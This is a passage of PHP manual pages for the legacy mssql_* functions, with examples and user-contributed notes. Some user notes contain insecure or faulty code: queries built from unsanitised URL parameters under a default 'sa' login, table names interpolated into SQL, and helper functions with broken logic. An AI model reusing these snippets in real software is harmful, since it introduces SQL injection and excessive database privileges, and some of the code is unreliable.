MSSQL_CONNECT($hostname,$username,$password) or DIE("DATABASE FAILED TO RESPOND.");
mssql_select_db($dbName) or DIE("Table unavailable");

$query = "SELECT * FROM dbo.table";

$result = mssql_query( $query );

for ($i = 0; $i < mssql_num_rows( $result ); ++$i)
     {
         $line = mssql_fetch_row($result);
         print( "$line[0] - $line[1]\n");
     }
?>

Thanks,

will_  @ irc.openprojects.net#php
mssql_fetch_object
mssql_field_length
Mssql Functions


Get the length of a field

mssql_fetch_row
mssql_field_name
Mssql Functions
PHP Manual

mssql_field_length

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_field_length — Get the length of a field

Description

int mssql_field_length ( resource $result [, int $offset = -1 ] )

Returns the length of field no. offset in result.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mssql_query().

offset

The field offset, starts at 0. If omitted, the current field is used.

Return Values

The length of the specified field index on success or FALSE on failure.

Examples

Example #1 mssql_field_length() example

<?php
// Connect to MSSQL and select the database
mssql_connect('MANGO\SQLEXPRESS', 'sa', 'phpfi');
mssql_select_db('php');

// Send a select query to MSSQL
$query = mssql_query('SELECT [name], [age] FROM [php].[dbo].[persons]');

// Print the field length
echo 'The field \'age\' has a data length of ' . mssql_field_length($query, 1);

// Free the query result
mssql_free_result($query);
?>

The above example will output something similar to:

The field 'age' has a data length of 4

Notes

Note: Note to Windows Users

Due to a limitation in the underlying API used by PHP (MS DBLib C API), the length of VARCHAR fields is limited to 255. If you need to store more data, use a TEXT field instead.

See Also

  • mssql_field_name() - Get the name of a field
  • mssql_field_type() - Gets the type of a field

User Contributed Notes

zz(lost dot childz at gmail dot com) 31-Oct-2007 03:41
there are same problem with VARBINARY, if you are forced to use existing database with such fields you can do it like this:

SELECT CAST(master.dbo.fn_varbintohexstr(VARBINARYFIELD) AS TEXT) FROM table;
08-Feb-2005 01:56
You can also work around this limitation with the following:

   -- for example, with MyVarCharField VARCHAR(1000)
   SELECT CAST(MyVarCharField AS TEXT) FROM MyTable
mssql_fetch_row
mssql_field_name
Mssql Functions


Get the name of a field

mssql_field_length
mssql_field_seek
Mssql Functions
PHP Manual

mssql_field_name

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_field_name — Get the name of a field

Description

string mssql_field_name ( resource $result [, int $offset = -1 ] )

Returns the name of field no. offset in result.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mssql_query().

offset

The field offset, starts at 0. If omitted, the current field is used.

Return Values

The name of the specified field index on success or FALSE on failure.

Examples

Example #1 mssql_field_name() example

<?php
// Send a select query to MSSQL
$query = mssql_query('SELECT [username], [name], [email] FROM [php].[dbo].[userlist]');

echo 'Result set contains the following field(s):', PHP_EOL;

// Dump all field names in result
for ($i = 0; $i < mssql_num_fields($query); ++$i) {
    echo ' - ' . mssql_field_name($query, $i), PHP_EOL;
}

// Free the query result
mssql_free_result($query);
?>

The above example will output something similar to:

Result set contains the following field(s):
 - username
 - name
 - email

See Also

  • mssql_field_length() - Get the length of a field
  • mssql_field_type() - Gets the type of a field

User Contributed Notes

php at electricsurfer dot com 03-Jun-2003 12:18
WARNING: as of PHP 4.3.2

Only returns 1st 30 characters of fieldname.
harold at worby dot dns2go dot com 06-Mar-2002 01:29
A simple script to walk through an MSSQL server.
I'm using PHP 4.06 and Freetds 5.1 on Solaris 2.7 and Apache 1.3
Several of the msql_ functions seem to be broken/missing.
This is what I found to work.

<?php
// --------------------------------------------------------
// URL http://server/mssqltest.php?DB=Database&table=TableName
// --------------------------------------------------------
// Default settings: edit to meet your needs
if (!($user)) $user=sa;
if (!($pass)) $pass="password";
if (!($host)) $host="acer900";
// --------------------------------------------------
// connect to mssql server
$connect = mssql_connect($host,$user,$pass) or die ($host." not accessible.");
// select the database
if ($DB) mssql_select_db($DB)or die('USE '.$DB.' failed!');
if (!($table)) {
    $query="EXEC sp_tables \"%\",\"%\",\"".$DB."\",\"'TABLE'\"";
    $linkcol=2;
    $linkcol="TABLE_NAME";
$linkformat=" <a href=\"%s?DB=".$DB."&table=%s\">%s</a> ";
}else{ // tables and DB - Get DATA
    $query="SELECT * FROM ".$table;
    $linkformat=" <a href=\"%s\">%s</a> ";
}
if (!($DB))    {
    $query="EXEC sp_databases";
    $linkcol=0;
    $linkcol="DATABASE_NAME";
    $linkformat="<a href=\"%s?DB=%s\">%s</a>";
}

// run query
echo $query."<br>";
$result = mssql_query( $query) or die('Query failed!');
$fields = mssql_num_fields ($result) or die("Num Fields Failed");
$rows   = mssql_num_rows ($result);

echo "<br>Rows ".$rows." Fields ".$fields."<br>";
echo "<TABLE border=1><tr>";
// get field names
for ( $f = 0 ; $f < $fields ; $f++ ){
    $name = mssql_fetch_field($result, $f);
    echo "<td>".$f.$name->name."</td>";
// Strange here.. without the "X"'s the () is always TRUE??
    if ($name->name."X" == $linkcol."X") $linkcol = $f;
}
echo "</tr>";
//Display Data
for ($i = 0; $i < $rows ; $i =$i +1){
    for ($f = 0; $f<$fields ; $f++){
        $name=mssql_result($result,$i,$f);
        if ($f == $linkcol){
printf("<td>".$linkformat."</td>\n",$PHP_SELF,
 $name , $name );
        }
        else{
            echo "<td>". $name . "</td>";
        }
    }
echo "</tr>";
}
echo "</TABLE><br>";

// close connection
mssql_close ($connect);
?>
tengel at sonic dot net 07-Oct-2000 07:43
This function isn't supported (PHP 4.0.2) if using Sybase/FreeTDS to access SQLServer (linux/solaris/bsd/etc).  Instead, use "mssql_fetch_field()" like so:

$field_name = mssql_fetch_field($query_result, $field_number);
print $field_name->name;
mssql_field_length
mssql_field_seek
Mssql Functions


Seeks to the specified field offset

mssql_field_name
mssql_field_type
Mssql Functions
PHP Manual

mssql_field_seek

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_field_seek — Seeks to the specified field offset

Description

bool mssql_field_seek ( resource $result , int $field_offset )

Seeks to the specified field offset. If the next call to mssql_fetch_field() won't include a field offset, this field would be returned.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mssql_query().

field_offset

The field offset, starts at 0.

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 Using mssql_field_seek() on the example for mssql_fetch_field()

<?php
// Connect to MSSQL and select the database
mssql_connect('MANGO\SQLEXPRESS', 'sa', 'phpfi');
mssql_select_db('php');

// Send a select query to MSSQL
$query = mssql_query('SELECT * FROM [php].[dbo].[persons]');

// Construct table
echo '<h3>Table structure for \'persons\'</h3>';
echo '<table border="1">';

// Table header
echo '<thead>';
echo '<tr>';
echo '<td>Field name</td>';
echo '<td>Data type</td>';
echo '<td>Max length</td>';
echo '</tr>';
echo '</thead>';

// Dump all fields
echo '<tbody>';

for ($i = 0; $i < mssql_num_fields($query); ++$i) {
    // Fetch the field information, notice the
    // field_offset parameter is not set. See
    // the mssql_field_seek call below
    $field = mssql_fetch_field($query);

    // Print the row
    echo '<tr>';
    echo '<td>' . $field->name . '</td>';
    echo '<td>' . strtoupper($field->type) . '</td>';
    echo '<td>' . $field->max_length . '</td>';
    echo '</tr>';

    // Move the internal seek pointer to the next
    // row in the result set
    mssql_field_seek($query, $i + 1);
}

echo '</tbody>';
echo '</table>';

// Free the query result
mssql_free_result($query);
?>

See Also

  • mssql_fetch_field() - Get field information

User Contributed Notes

kevin_tom at hotmail dot com 15-May-2004 02:47
Don't know this would help.
If you are using mssql to loop through a web page. Here is how to do it:
Suppose you want to select a few fields from t1 joining to t2

$numPerPage=10;
if(empty($offset))
  $offset=0;
if($next_x){
  $offset+=$numPerPage;
}
if($previous_x){
  $offset-=$numPerPage;
}

$qry_string = "SELECT DISTINCT TOP $numPerPage t1.field1, t1.field2 from t1 LEFT
JOIN t2 ON t2.field1=t1.field1
WHERE t2.another_field='specific_val'
AND t1.fields
NOT IN
(SELECT DISTINCT TOP $offset tmpT1.field1
FROM t1 AS tmpT1 LEFT
JOIN t2 ON t2.field1=tmpT1.field1
WHERE t2.another_field='specific_val'
)";

// then run the above $qry_string using the while loop
mssql_field_name
mssql_field_type
Mssql Functions


Gets the type of a field

mssql_field_seek
mssql_free_result
Mssql Functions
PHP Manual

mssql_field_type

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_field_type — Gets the type of a field

Description

string mssql_field_type ( resource $result [, int $offset = -1 ] )

Returns the type of field no. offset in result.

Parameters

result

The result resource that is being evaluated. This result comes from a call to mssql_query().

offset

The field offset, starts at 0. If omitted, the current field is used.

Return Values

The type of the specified field index on success or FALSE on failure.

Examples

Example #1 mssql_field_type() example

<?php
// Connect to MSSQL and select the database
mssql_connect('MANGO\SQLEXPRESS', 'sa', 'phpfi');
mssql_select_db('php');

// Send a select query to MSSQL
$query = mssql_query('SELECT [name] FROM [php].[dbo].[persons]');

// Print the field type and length
echo '\'' . mssql_field_name($query, 0) . '\' is a type of ' .
     strtoupper(mssql_field_type($query, 0)) .
     '(' . mssql_field_length($query, 0) . ')';

// Free the query result
mssql_free_result($query);
?>

The above example will output something similar to:

'name' is a type of CHAR(50)

See Also

  • mssql_field_length() - Get the length of a field
  • mssql_field_name() - Get the name of a field

User Contributed Notes

huib at bestia dot com 27-May-2005 03:18
If you need a more detailed discription of your column type,

This query shows your true datatypes like:

binary => binary
varbinary => varbinary
varchar => varchar
bit => bit
char => char
datetime => datetime
smalldatetime => smalldatetime
decimal => decimal
real => real
float => float
tinyint => tinyint
smallint => smallint
smallmoney => smallmoney
money => money
nchar => nchar
ntext => ntext
text => text
numeric => numeric
nvarchar => nvarchar

SELECT     sysobjects.name AS tableName, syscolumns.name AS columnName, systypes.name AS columnType
FROM         sysobjects INNER JOIN
                      syscolumns ON sysobjects.id = syscolumns.id INNER JOIN
                      systypes ON syscolumns.type = systypes.type AND syscolumns.xusertype = systypes.xusertype
nicholas at silverorange dot com 24-Mar-2005 06:39
The matching returned values for each of the common datatypes are:

binary => blob
varbinary => blob
varchar => char
bit => bit
char => char
datetime => datetime
smalldatetime => datetime
decimal => real
real => real
float => real
tinyint => int
smallint => int
smallmoney => money
money => money
nchar => char
ntext => text
text => text
numeric => numeric
nvarchar => char
rmorales at protel dot net dot mx 17-Jun-2003 11:46
Here i have an usable code for all u:

   I wanted to know if a field is nullable or if it's defined as a primary key, here are those functions definitions:

*Aditional Notes:
    if any of the tables are replicated in another database exactly , this code will not work well.

//-----to know if a field is nullable-------
function mssql_field_nullable($ip,$user,$pass,$table,$field)//starting from 1st field
{
      $conn=mssql_connect($ip,$user,$pass)or die;
      mssql_select_db('master');
      $result=mssql_query("SELECT syscolumns.isnullable
FROM sysobjects INNER JOIN
    syscolumns ON sysobjects.id = syscolumns.id WHERE sysobjects.name ='$table' AND syscolumns.isnullable = 1");
      $x=mssql_num_rows($result);
      mssql_close($conn);
      return ($x==1?1:0);

}
//-------to know if a field is a primary key-------
function mssql_field_key($ip,$user,$pass,$table,$field)//starting from 1st field
{
      $conn=mssql_connect($ip,$user,$pass)or die;
      mssql_select_db('master');
      $result=mssql_query("SELECT sysindexkeys.colid FROM sysobjects INNER JOIN sysindexkeys ON sysobjects.id = sysindexkeys.id WHERE sysobjects.name ='$table' AND sysindexkeys.colid = $field");
      $x=mssql_num_rows($result);
      mssql_close($conn);
      return ($x==1?1:0);

}
by R.M.R.A
mssql_field_seek
mssql_free_result
Mssql Functions


Free result memory

mssql_field_type
mssql_free_statement
Mssql Functions
PHP Manual

mssql_free_result

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_free_result — Free result memory

Description

bool mssql_free_result ( resource $result )

mssql_free_result() only needs to be called if you are worried about using too much memory while your script is running. All result memory will automatically be freed when the script ends. You may call mssql_free_result() with the result identifier as an argument and the associated result memory will be freed.

Parameters

result

The result resource that is being freed. This result comes from a call to mssql_query().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mssql_free_result() example

<?php
// Select some data from a table
$query = mssql_query('SELECT * FROM [php].[dbo].[persons]', $link);

// Handle query result here

// When we're done we free the result by calling
// mssql_free_result like so:
mssql_free_result($query);
?>

See Also

  • mssql_free_statement() - Free statement memory

User Contributed Notes

veggivore [at] yahoo [period] com 06-Sep-2006 09:21
MSSQL only allows one HRESULT open per connection. If you have a query with a server side cursor open any subsequent queries using that connection will fail.
mssql_field_type
mssql_free_statement
Mssql Functions


Free statement memory

mssql_free_result
mssql_get_last_message
Mssql Functions
PHP Manual

mssql_free_statement

(PHP 4 >= 4.3.2, PHP 5, PECL odbtp >= 1.1.1)

mssql_free_statement — Free statement memory

Description

bool mssql_free_statement ( resource $stmt )

mssql_free_statement() only needs to be called if you are worried about using too much memory while your script is running. All statement memory will automatically be freed when the script ends. You may call mssql_free_statement() with the statement identifier as an argument and the associated statement memory will be freed.

Parameters

stmt

Statement resource, obtained with mssql_init().

Return Values

Returns TRUE on success or FALSE on failure.

Examples

Example #1 mssql_free_statement() example

<?php
// Create a new statement
$stmt = mssql_init('test');

// Bind values here and execute the statement

// once we're done, we clear it from the memory
// using mssql_free_statement like so:
mssql_free_statement($stmt);
?>

See Also

  • mssql_bind() - Adds a parameter to a stored procedure or a remote stored procedure
  • mssql_execute() - Executes a stored procedure on a MS SQL server database
  • mssql_init() - Initializes a stored procedure or a remote stored procedure
  • mssql_free_result() - Free result memory

User Contributed Notes

mitch at 1800radiator dot kom 23-Mar-2005 10:02
Maybe it's unique to my FreeTDS configuration, but if I don't call mssql_free_statement() after every stored procedure (i.e. mssql_init, mssql_bind, mssql_execute, mssql_fetch_array), all subsequent stored procedures on the same database connection will fail.

I only mention it because this man-page deprecates the use of mssql_free_statement(), saying it's only there for run-time memory concerns.  At least in my case, it's also a crucial step in the process of running a stored procedure.  If anyone else has problems running multiple stored procedures on the same connection, I hope this helps them out.
mssql_free_result
mssql_get_last_message
Mssql Functions


Returns the last message from the server

mssql_free_statement
mssql_guid_string
Mssql Functions
PHP Manual

mssql_get_last_message

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_get_last_message — Returns the last message from the server

Description

string mssql_get_last_message ( void )

Gets the last message from the MS-SQL server

Parameters

This function has no parameters.

Return Values

Returns last error message from server, or an empty string if no error messages are returned from MSSQL.

Examples

Example #1 mssql_get_last_message() example

<?php
// Connect to MSSQL and select the database
mssql_connect('KALLESPC\SQLEXPRESS', 'sa', 'phpfi');
mssql_select_db('php');

// Make a query that will fail
$query = @mssql_query('SELECT * FROM [php].[dbo].[not-found]');

if (!$query) {
    // The query has failed, print a nice error message
    // using mssql_get_last_message()
    die('MSSQL error: ' . mssql_get_last_message());
}
?>

The above example will output something similar to:

MSSQL error: Invalid object name 'php.dbo.not-found'.

See Also

  • mssql_min_error_severity() - Sets the minimum error severity
  • mssql_min_message_severity() - Sets the minimum message severity

User Contributed Notes

deyura at gmail dot com 26-Apr-2007 06:49
another exsample

mssql_query("INSERT INTO catalog (id, temp) VALUES (1, 'temp')") or exit(mssql_get_last_message());
php at cybertinus dot nl 13-Nov-2006 03:50
Here I am again :). My last function stinks :p (well, actually, MSSQL doesn't always does the same thing with different errors :/. That last function can't cope with that. The following function can cope with that. The only weird thing I had with it was that when I entered a table, which don't exists, in my SELECT query, the first mssql_get_last_message() doesn't always gets the correct message. It sometimes gets the message from the last action. I have no explination for it. Anyway: this is the beter version of my last function.  The usage is explained in my last post:

<?php
function query($sQuery, $hDb_conn, $sError, $bDebug)
{
    if(!$rQuery = @mssql_query($sQuery, $hDb_conn))
    {
        $sMssql_get_last_message = mssql_get_last_message();
        $sQuery_added  = "BEGIN TRY\n";
        $sQuery_added .= "\t".$sQuery."\n";
        $sQuery_added .= "END TRY\n";
        $sQuery_added .= "BEGIN CATCH\n";
        $sQuery_added .= "\tSELECT 'Error: '  + ERROR_MESSAGE()\n";
        $sQuery_added .= "END CATCH";
        $rRun2= @mssql_query($sQuery_added, $hDb_conn);
        $aReturn = @mssql_fetch_assoc($rRun2);
        if(empty($aReturn))
        {
            echo $sError.'. MSSQL returned: '.$sMssql_get_last_message.'.<br>Executed query: '.nl2br($sQuery);
        }
        elseif(isset($aReturn['computed']))
        {
            echo $sError.'. MSSQL returned: '.$aReturn['computed'].'.<br>Executed query: '.nl2br($sQuery);
        }
        return FALSE;
    }
    else
    {
        return $rQuery;
    }
}
?>

Disclaimer: This is not the original function that I use in my project. The original function has Dutch text and uses some other functions that I have. I have removed my own functions and translated everything to English. That is everything I did. I only used a second function for the error messages. So I think everything should work, but I don't know for sure.
rodflash at rodflash dot com 23-Feb-2006 04:29
If you want to view the last ID inserted, mssql_get_last_message() will not return this.
MySQL have a function mysql_insert_id() that returns it. MSSQl don't.
To resolve this, you must run this query:

$query="SELECT @@IDENTITY as last_insert_id"
mssql_query($query, $connection);

and it will return the last ID inserted in the database.
NOjewlfSPAM at NOattSPAM dot net 29-Jul-2005 07:48
As Klaus pointed out earlier, the command MSSQL_GET_LAST_MESSAGE() only returns the last line of an error message and that may not be enough for debugging.

I had a failing MSSQL_QUERY returning "the statement has been terminated" via MSSQL_GET_LAST_MESSAGE() so I tried Klaus' technique to get more information.

Unfortunately, the connection to the database was also being broken, keeping Klaus' technique from looking up the error number.

The solution to my case was to increase the PHP timeout for MSSQL queries from the default 60 seconds to 300 by adding this to PHP.INI:

mssql.timeout = 300
jessicax at mymelody dot com 12-Jul-2005 08:44
I've noticed that there's a few people putting really elongated code out there for a MSSQL Connection / Error function.

Firstly, i think that rewriting pre-existing functions is a waste of parsing time, so if you're going to try and return an error, usee mssql_get_last_message() as you would with mysql_error().

Here is an adapted version of a MySQL Connection function;

    function mssql_autoconnect() {
        $cString = parse_url($config['connect_url']);
        $cLink = mssql_connect($cString['host'], $cString['user'], $cString['pass']) or die(mssql_get_last_message());
        mssql_select_db(preg_replace("///",$cString['path']),$cLink);
        return $cLink;
    }
drunkennewfiemidget 22-Mar-2005 12:40
I've found mssql_get_last_message to be useful for fetching errors in the event MSSQL queries fail.

<?php

$q = @mssql_query("asdfasdfasfdasfd");
if (!$q)
     print "MSSQL Query failed: " . mssql_get_last_message() . "<br />\n";

?>
ripfel at thinktank dot de 24-May-2002 10:58
If you work with stored procedures and want to have a neat error-handling, try this:
procedure:
CREATE PROCEDURE TEST_ERROR  AS
RAISERROR('myMessage:test', 2, 1) WITH SETERROR

2 is error-severity, which should be below 11 to prevent php to output error directly.
you get this message with mssql_get_last_message()
after executing the stored procedure.
To prevent your code from reacting on all messages you can define a string (e.g. 'myMessage:') and parse for it:
<?php
$db = mssql_connect(DBHost, DBLogin, DBPassword);
mssql_select_db(DBName, $db);
$query = "exec TEST_ERROR";
$rs = mssql_query($query, $db);
$lastMsg = mssql_get_last_message();
if strstr($lastMsg, 'myMessage:') echo $lastMsg;
?>
php-contrib at i-ps dot nospam dot net 27-Jan-2002 10:24
With ref to last_insert_id;

you can also do "SELECT ident_current('table_name')" with msSQL, which is the same thing.
Don't forget that this counts as a seperate SQL query, so you will have to fetch the results as well, which isn't as neat as MySQL_insert_id().
richard at alpinenetworking dot com 30-Jul-2001 02:31
To get a numeric error code from mssql you can do a select that looks something like "select @@ERROR as ErrorCode".

@@ERROR is a global variable that always contains the error code for the last SQL statement run on the current connection.  If there is no error, code will equal 0.

@@IDENTITY is another useful one to know.  It is the value of the last identity created (similar to MySQL's auto_increment field) and with this you can create a function that works like MySQL's mysql_insert_id() function.
06-Apr-2001 09:48
MS SQL doesn't set errors as mysql does. $php_error is set as a string that doesn't help at all. The error comes in form of a Warning, which isn't pretty. So what you can do is capture the output of the warning and create your own error message, something like this:

function treat_mssql_error($buffer) {
    $buffer=ereg_replace("<br>\n<b>Warning</b>:  MS SQL message:","<b>Error in query (SQL Server)</b>: ",$buffer);
    $buffer=explode("(severity",$buffer);
    return $buffer[0]."</font>";
}

function my_query($query,$cnx) {
    global $sql_error;
    ob_start();
    $result=mssql_query($query,$cnx);
    if(!$result)
    {
        $sql_error=treat_mssql_error(ob_get_contents());
        ob_end_clean();
        return false;
    }
    ob_end_clean();
    return true;
}

you can set treat_mssql_error() to fit your needs, and there u go. A personal error handler.
mssql_free_statement
mssql_guid_string
Mssql Functions


Converts a 16 byte binary GUID to a string

mssql_get_last_message
mssql_init
Mssql Functions
PHP Manual

mssql_guid_string

(PHP 4 >= 4.0.7, PHP 5, PECL odbtp >= 1.1.1)

mssql_guid_string — Converts a 16 byte binary GUID to a string

Description

string mssql_guid_string ( string $binary [, bool $short_format = false ] )

Converts a 16 byte binary GUID to a string.

Parameters

binary

A 16 byte binary GUID.

short_format

Whenever to use short format.

Return Values

Returns the converted string on success.

Examples

Example #1 mssql_guid_string() example

<?php
$binary = '19555081977808608437941339997619274330352755554827939936';

var_dump(mssql_guid_string($binary));
var_dump(mssql_guid_string($binary, true));
?>

The above example will output:

string(36) "35353931-3035-3138-3937-373830383630"
string(32) "31393535353038313937373830383630"

User Contributed Notes

Corvus Corax 18-Feb-2008 07:58
How can a binary GUID be identified as a binary GUID?

- mssql_field_type() returns 'blob' for GUID fields...

- mssql_guid_string() returns strings for all sort of arbitrary input data, regardless of length and content (though not all are necessarily valid GUID string represenations, since length varies)

- is_string() on GUID variables is true

therefore a mssql_is_guid() function would be a nice thing.

Unfortunately, there is very little that makes a GUID a GUID. Aside from the length of 16 bytes there are only 2 indicators (and even those only for microsoft system call compatibly generated GUIDs):

the upper 4 bits of character 7 encode the version of the GUID, and are either 0001 (v1) , 0011 v3), or 0100 (v4)
(ASCII characters 10 - 1f, 30 ('0') to 3f ('?') or 40 ('@') to 4f ('O'))
depending on the encoding version of the GUID.

GUIDs generated by mssql server 2005s "NEWID()" statement are version 4, indicating that the GUID is completely randomly generated

the upper 1 to 3 bits of character 8 which encode the GUID variant. In the case of GUIDs generated by MsSQL server 2005 the variant always seems to be 'Standard' which is indicated by bit sequence 10.
((non)ASCII characters 81 to BF)

so as long as no custom hacked or 3rd party inserted GUIDs are used this should be working:

<?php

    /**
     * determine wether binary data represents a valid GUID
     */
    function mssql_is_guid($guid)
    {
        if (!is_string($guid)) return false;
        if (strlen($guid)!=16) return false;
        $version=ord(substr($guid,7,1))>>4;
        // version 1 : Time-based version Uses timestamp, clock sequence, and MAC network card address
        // version 2 : Reserverd
        // version 3 : Name-based version Constructs values from a name for all sections
        // version 4 : Random version Use random numbers for all sections
        if ($version<1 || $version>4) return false;
        $typefield=ord(substr($guid,8,1))>>4;
        $type=-1;
        if (($typefield & bindec(1000))==bindec(0000)) $type=0; // type 0 indicated by 0??? Reserved for NCS (Network Computing System) backward compatibility
        if (($typefield & bindec(1100))==bindec(1000)) $type=2; // type 2 indicated by 10?? Standard format
        if (($typefield & bindec(1110))==bindec(1100)) $type=6; // type 6 indicated by 110? Reserved for Microsoft Corporation backward compatibility
        if (($typefield & bindec(1110))==bindec(1110)) $type=7; // type 7 indicated by 111? Reserved for future definition
        // assuming Standard type for SQL GUIDs
        if ($type!=2) return false;
        return true;

    }

$valid_guid='xxxxxxx'.'A'.chr(0xA2).'xxxxxxx';
if (mssql_is_guid($valid_guid)) $valid_guid=mssql_guid_string($valid_guid);
echo ($valid_guid);

?>

source:
http://msdn2.microsoft.com/en-us/library/aa446557.aspx
http://en.wikipedia.org/wiki/GUID
lostaircryptic at hotmail dot co dot uk 09-Feb-2007 03:05
Here is the function that will present the GUID as we commonly know it in PHP.  I designed this function before noticing the one (slightly documented in here).  It has been fully tested and works.

    function presentGUID($string)
    {

      $hex = '';
      $len = strlen($string);

      $bytes = array();
      for ($i = 0; $i < $len; $i++)
      {
        $bytes [$i] = strtoupper(str_pad(dechex(ord($string[$i])), 2, 0, STR_PAD_LEFT));
      }

      $this->swapbyte ($bytes[0], $bytes[3]);
      $this->swapbyte ($bytes[1], $bytes[2]);
      $this->swapbyte ($bytes[4], $bytes[5]);
      $this->swapbyte ($bytes[6], $bytes[7]);

      $hex = "{";
      for ($i = 0; $i < $len; $i++)
      {
        switch ($i)
        {
          case 4:
          case 6:
          case 8:
          case 10:
            $hex .= "-";
        }

        $hex .= $bytes[$i];
      }
      $hex .= "}";

      return $hex;

    }

    function swapbyte(&$value1, &$value2)
    {
      $tmp = $value1;
      $value1 = $value2;
      $value2 = $tmp;
    }
goofy 12-Oct-2006 01:46
in php5 on w2k server and apache works well:

echo mssql_guid_string($RS['T_ID']); is same string as unique identifier in SQL manager (T_ID) selectet with a standard sql select clause.
im using it in a form to select just this unique dataset to delete like this:
echo
<form name="Delete" action="'.$_SERVER['PHP_SELF'].'" method="post">
<input type="hidden" name="mode" value="del"/>
<input type="hidden" name="T_ID" value="'.mssql_guid_string($RS['T_ID']).'"/>
<input type="submit" value="DEL"/></form>';

there seems to be a matrix like this one running at least this function returns the same value: if you call it like makeuniqueid($RS['T_ID'])

function makeuniqueid($hs)
{
    if (strlen($hs) == 16)
    {
        $hexstring = bin2hex ($hs);
        return $sql_uniqueid=strtoupper(substr( $hexstring, 6,2).substr( $hexstring, 4,2).substr( $hexstring, 2,2).substr( $hexstring, 0,2).'-'.substr( $hexstring, 10,2).substr( $hexstring, 8,2)
               .'-'.substr( $hexstring, 14,2).substr( $hexstring, 12,2).'-'.substr( $hexstring, 16,4).'-'.substr( $hexstring, 20,12));
    }
    else
    {
        $sql_uniqueid = "not valid";
        return $sql_uniqueid;
    }
}
08-Jul-2005 08:52
php3 to php4 note

warning!
php4 handles MSSQL GUID like binaries values and not like a string as php3 used to do.
Even if you set  in your php.ini :
mssql.compatability_mode = On
jhorvath at bcn dot hu 19-Mar-2003 07:25
Using MSSQL2000 and PHP4.3.1 and FreeTDS-0.61 (always compile it with --enable-msdblib --with-tdsver=7.0 for proper working) this function won't give you the strings what you can see in MS's Enterprise Manager for uniqueidentifiers!
And the given strings also useless in SELECTs!
To get the number what you can reuse in later SELECTs, use this:

$q1 = mssql_query("SELECT cast(id as varchar(36)) FROM sales WHERE ...");

where in table 'sales' the column 'id' type is uniqueidentifier.
mssql_get_last_message
mssql_init
Mssql Functions


Initializes a stored procedure or a remote stored procedure

mssql_guid_string
mssql_min_error_severity
Mssql Functions
PHP Manual

mssql_init

(PHP 4 >= 4.0.7, PHP 5, PECL odbtp >= 1.1.1)

mssql_init — Initializes a stored procedure or a remote stored procedure

Description

resource mssql_init ( string $sp_name [, resource $link_identifier ] )

Initializes a stored procedure or a remote stored procedure.

Parameters

sp_name

Stored procedure name, like ownew.sp_name or otherdb.owner.sp_name.

link_identifier

A MS SQL link identifier, returned by mssql_connect().

Return Values

Returns a resource identifier "statement", used in subsequent calls to mssql_bind() and mssql_execute(), or FALSE on errors.

Examples

Example #1 mssql_init() example

<?php
// Connect to MSSQL and select the database
$link = mssql_connect('KALLESPC\SQLEXPRESS', 'sa', 'phpfi');
mssql_select_db('php', $link);

// Create a new statement
$stmt = mssql_init('StatementTest', $link);

// Bind values here

// Once values are binded we execute our statement
// using mssql_execute:
mssql_execute($stmt);

// And we can free it like so:
mssql_free_statement($stmt);
?>

See Also

  • mssql_bind() - Adds a parameter to a stored procedure or a remote stored procedure
  • mssql_execute() - Executes a stored procedure on a MS SQL server database
  • mssql_free_statement() - Free statement memory

User Contributed Notes

shrockc at NOinhs dot orgSPAM 08-Jul-2002 09:19
If you are performing a stored procedure inside a loop, it is a good idea to unset the variable that mssql_init returns so that you do NOT bind multiple values to the same stored procedure:

foreach($input  as $sid=>$value) {
  $stmt = mssql_init("sp_doSomething");
  mssql_bind($stmt, "@sid", $sid, SQLINT4, false);
  mssql_bind($stmt, "@value", $value, SQLINT4, false);
  $result = mssql_execute($stmt);
  unset($stmt);  // <---VERY important
}

Even doing the mssql_init outside the loop does not help because of the multiple binds happening inside the loop.

Failing to do the above generates "Access Violations...memory cannot be 'written'" errors on the server.  My hypothesis is that the error is generated when you try to bind to a stored procedure after it has already been executed.  You have been warned.
fjortizATcomunetDOTes 26-Dec-2001 04:58
this function was created to support
OUTPUT parameters and return values with
MSSQL stored procedures. Before this,
you could use T-SQL statement EXECUTE
and mssql_query to execute a stored
procedure, and it was fine as long as
you don't need to retrieve OUTPUT or
RETVAL values.

Now you can use this set of functions to execute and retrieve these values:
mssql_init
mssql_bind
mssql_execute

Parameters:
- sp_name : stored procedure name. It passes this string to a native DB-lib call, so I guess it supports all kinds of schemas (like "ownew.sp_name" or "otherdb.owner.sp_name")

- connection id: a connection resource
obtained with mssql_connect or similar.
If not provided, it will proceed just
like other similar mssql_* functions:
uses a default open connection or
creates a new one.

Return value: a resource id, called
"statement", used in subsequent calls to
mssql_bind and mssql_execute.

Note that many of the native MSSQL data types are directly supported, but I
think that some others must be converted
by other means (from varchar values for
example). These unsupported types are:

SQLMONEY4,SQLMONEY,SQLBIT,SQLDATETIM4,
SQLDATETIME, SQLDECIMAL, SQLNUMERIC,
SQLVARBINARY, SQLBINARY,SQLIMAGE

More info on supported types and new constants in mssql_bind
mssql_guid_string
mssql_min_error_severity
Mssql Functions


Sets the minimum error severity

mssql_init
mssql_min_message_severity
Mssql Functions
PHP Manual

mssql_min_error_severity

(PHP 4, PHP 5, PECL odbtp >= 1.1.1)

mssql_min_error_severity — Sets the minimum error severity

Description

void mssql_min_error_severity ( int $severity )

Sets the minimum error severity.

Parameters

severity

The new error severity.

Return Values

No value is returned.

Examples

Example #1 mssql_min_error_severity() example

<?php
// Connect to MSSQL and select the database
mssql_connect('KALLESPC\SQLEXPRESS', 'sa', 'phpfi');
mssql_select_db('php');

// Set the minimum error severity to not include SQL
// syntax errors by setting it to something greater than
// or equal to 1.
mssql_min_error_severity(1);

// Send a query we know that will cause an syntax error, in
// this case we use the MySQL quote signs instead of wrapping
// square brackets around the field and table names.
$query = mssql_query('SELECT `syntax`, `error` FROM `MSSQL`');

if (!$query) {
    // Custom error handler ...
}
?>

User Contributed Notes

Daniel J. Coleman 03-Jul-2003 11:44
If you have not worked with MS SQL, severity is based on 5 levels.

Level 0:
